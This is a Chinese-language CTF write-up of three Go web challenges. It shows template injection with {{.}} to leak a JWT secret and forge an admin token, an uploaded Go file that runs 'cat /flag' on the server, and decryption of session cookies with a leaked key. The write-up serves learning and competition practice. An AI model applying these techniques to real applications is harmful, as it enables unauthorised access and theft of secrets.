Error message here!

Hide Error message here!

忘记密码?

Error message here!

请输入正确邮箱

Hide Error message here!

密码丢失?请输入您的电子邮件地址。您将收到一个重设密码链接。

Error message here!

返回登录

Close

CTF—Go题目复现

Sentiment. 2022-06-23 23:24:38 阅读数:0 评论数:0 点赞数:0 收藏数:0

[2022DASCTF MAY 挑战赛] fxygo

一道Go的模板注入

前置知识

由于没了解过Go的SSTI所以先简单看下:

go语言快速入门:template模板 · Golang语言社区 · 看云 (kancloud.cn)

Go SSTI初探 | tyskillのBlog

go的SSTI漏洞成因与模板语法和jinja2差不多,都用到了{ {}},通过{ {.}}我们可以获得到作用域

Demo

package main
import "html/template"
import "os"
func main() {

type person struct {

Id int
Name string
Country string
}
Sentiment := person{
Id: 1, Name: "Sentiment", Country: "China"}
tmpl := template.New("")
tmpl.Parse("Hello {
{.}}")
tmpl.Execute(os.Stdout, Sentiment)
}

当使用{ {.}}时,会获取person结构体中的所有属性,所以在经过Execute渲染后,便会输出:

Hello {
1 Sentiment China}

除此外若想获取单个属性也可以用{ {.Name}}

tmpl.Parse("Hello {
{.}}")
改为
tmpl.Parse("Hello {
{.Name}}")

结果

Hello Sentiment

复现

主要有几个路由

r.GET("/",index)
r.POST("/", rootHandler)
r.POST("/flag", flagHandler)
r.POST("/auth", authHandler)
r.POST("/register", Resist)

先看/flag的flagHandler

func flagHandler(c *gin.Context) {

token := c.GetHeader("X-Token")
if token != "" {

id, is_admin := jwt_decode(token)
if is_admin == true {

p := Resp{
true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {

}
c.JSON(200, string(res))
return
} else {

c.JSON(403, gin.H{

"code": 403,
"status": "error",
})
return
}
}
}

中间有一段:

id, is_admin := jwt_decode(token)
if is_admin == true {

会对我们输入的token值解密,之后如果其中的is_admin是true的话,会输出flag,所以现在的问题是如何获取token

authHandler()找到了获取token的方式

func authHandler(c *gin.Context) {

uid := c.PostForm("id")
upw := c.PostForm("pw")
if uid == "" || upw == "" {

return
}
if len(acc) > 1024 {

clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {

token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {

return
}
p := TokenResp{
true, token}
res, err := json.Marshal(p)
if err != nil {

}
c.JSON(200, string(res))
return
}
c.JSON(403, gin.H{

"code": 403,
"status": "error",
})
return
}

当我们传参id和pw时,会对我们传入的id和is_admin进行jwt加密,并返回以token形式返回

但在此之前需要注意,在赋值之前是有一段判断的,也就是通过本题自定义的get_account()方法获取之前的作用域中的id和pw值,与我们创建的进行比较,只有一样才能成功赋值

user_acc := get_account(uid)
user_acc.id != "" && user_acc.pw == upw {

而初始状态都是为空值的,所以在获取前需要先通过Resist(),进行赋值注册

在这里插入图片描述

注册成功后,在访问auth路径,获取到了token

在这里插入图片描述

得到token后,还需要解决一个问题,就是我们在注册时,默认传入的is_admin是false

new_acc := Account{
uid, upw, false, secret_key}

在这里插入图片描述

所以就需要想办法找secret_key,进而修改is_admin

rootHandler()发现模板渲染部分,首先是获取token中我们传入的id值,接着会进行渲染,最后通过 tpl.Execute(c.Writer, &acc)输出

func rootHandler(c *gin.Context) {

token := c.GetHeader("X-Token")
if token != "" {

id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {

}
tpl.Execute(c.Writer, &acc)
return
} else {

return
}
}

所以我们在最开始传入的id={ {.}},在这个地方经过渲染后便会输出,该结构体中的所有属性值,其中就包括key

type Account struct {

id string
pw string
is_admin bool
secret_key string
}

rootHandler()的路由是POST请求/

在这里插入图片描述

获取key后,修改is_admin,/flag路由下传参即可

在这里插入图片描述

在这里插入图片描述

这道题跟[LineCTF2022]gotm一样,80分的题可以去玩玩。

[2022DASCTF MAY 挑战赛] hackme

upload路径下有个文件上传入口

在这里插入图片描述

上传users.go后,访问users,上传的go文件会被执行,所以随便上传个执行命令的go文件即可

Go语言中用 os/exec 执行命令的五种姿势 - 知乎 (zhihu.com)

package main
import (
"bytes"
"fmt"
"log"
"os/exec"
)
func main() {

cmd := exec.Command("cat", "/flag")
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
fmt.Printf("out:\n%s\nerr:\n%s\n", outStr, errStr)
if err != nil {

log.Fatalf("cmd.Run() failed with %s\n", err)
}
}

在这里插入图片描述

[VNCTF 2022] gocalc0

在安装包时不知道什么时候代理变了,一直没下下来,如果同样下不下来的话可以先设置下代理

go env -w GOPROXY=https://goproxy.cn

之后安装对应的包即可

go get github.com/gin-contrib/sessions

非预期

session两次base64解密即可

在这里插入图片描述

预期

{ {.}}获取源码

package main
import (
_ "embed"
"fmt"
"os"
"reflect"
"strings"
"text/template"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/maja42/goval"
)
var tpl string
var source string
type Eval struct {

E string `json:"e" form:"e" binding:"required"`
}
func (e Eval) Result() (string, error) {

eval := goval.NewEvaluator()
result, err := eval.Evaluate(e.E, nil, nil)
if err != nil {

return "", err
}
t := reflect.ValueOf(result).Type().Kind()
if t == reflect.Int {

return fmt.Sprintf("%d", result.(int)), nil
} else if t == reflect.String {

return result.(string), nil
} else {

return "", fmt.Errorf("not valid type")
}
}
func (e Eval) String() string {

res, err := e.Result()
if err != nil {

fmt.Println(err)
res = "invalid"
}
return fmt.Sprintf("%s = %s", e.E, res)
}
func render(c *gin.Context) {

session := sessions.Default(c)
var his string
if session.Get("history") == nil {

his = ""
} else {

his = session.Get("history").(string)
}
fmt.Println(strings.ReplaceAll(tpl, "{
{result}}", his))
t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{
{result}}", his))
if err != nil {

fmt.Println(err)
c.String(500, "internal error")
return
}
if err := t.Execute(c.Writer, map[string]string{

"s0uR3e": source,
}); err != nil {

fmt.Println(err)
}
}
func main() {

port := os.Getenv("PORT")
if port == "" {

port = "8888"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/", func(c *gin.Context) {

render(c)
})
r.GET("/flag", func(c *gin.Context) {

session := sessions.Default(c)
session.Set("FLAG", os.Getenv("FLAG"))
session.Save()
c.String(200, "flag is in your session")
})
r.POST("/", func(c *gin.Context) {

session := sessions.Default(c)
var his string
if session.Get("history") == nil {

his = ""
} else {

his = session.Get("history").(string)
}
eval := Eval{
}
if err := c.ShouldBind(&eval); err == nil {

his = his + eval.String() + "<br/>"
}
session.Set("history", his)
session.Save()
render(c)
})
r.Run(fmt.Sprintf(":%s", port))
}

在flag路由里将环境变量flag值设入cookie的FLAG中,但是cookie中的内容经过加密无法直接拿到,在本地搭建一样的环境,从相同cookie中拿到FLAG对应的值,找地方输出即可

package main
import (
_ "embed"
"fmt"
"os"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func main() {

port := os.Getenv("PORT")
if port == "" {

port = "8888"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/flag", func(c *gin.Context) {

session := sessions.Default(c)
c.String(200, session.Get("FLAG").(string))
})
r.Run(fmt.Sprintf(":%s", port))
}

在这里插入图片描述

版权声明
本文为[Sentiment.]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_54902210/article/details/125419981